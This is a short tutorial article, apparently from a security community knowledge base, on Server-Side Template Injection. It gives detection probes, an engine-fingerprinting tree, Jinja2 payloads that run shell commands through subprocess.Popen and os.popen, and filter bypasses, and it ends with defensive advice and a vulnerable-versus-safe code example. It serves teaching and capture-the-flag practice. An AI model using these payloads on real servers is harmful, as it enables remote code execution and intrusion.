KB / Статті / SSTI: Server-Side Template Injection — від {{7*7}} до RCE
UA EN

SSTI: Server-Side Template Injection — from {{7*7}} to RCE

✍ di_yurich 📅 20.07.2026 👁 157 переглядів

What is SSTI

Server-Side Template Injection (SSTI) is a vulnerability where user input is embedded directly into a server-side template. The template engine executes the injected code in the application's context.

Difference from XSS: XSS executes in the victim's browser, SSTI executes on the server — giving direct access to files, environment, and the network.


Detection: Math Test

Submit to each field:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

If the response contains 49 — the template engine evaluated the expression. If {{7*'7'}} returns 7777777, it's Jinja2.

Decision tree

{{7*7}} → 49        → Jinja2 (Python) or Twig (PHP)
{{7*'7'}} → 49      → Twig (PHP)
{{7*'7'}} → 7777777 → Jinja2 (Python)
${7*7} → 49         → Freemarker / Smarty / Pebble
<%= 7*7 %> → 49    → ERB (Ruby)

Jinja2 (Python/Flask)

The most common in CTF challenges. The goal is to reach Python's built-in classes.

Read a file

{{ ''.__class__.__mro__[1].__subclasses__() }}

This returns all subclasses of object. Find subprocess.Popen:

{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

Via config globals

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Filter Bypasses

If _ is blocked:

{{ ''['__class__'] }}

If . is blocked:

{{ ''['__class__']['__mro__'][1] }}

Defense

  1. Never pass user input directly to render_string() / from_string()
  2. Use SandboxedEnvironment in Jinja2
  3. WAF: block {{, }}, ${}, <=% in user input
# ❌ Vulnerable
render_template_string(request.args.get('name'))

# ✅ Safe
render_template_string("Hello {{ name }}", name=request.args.get('name'))
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?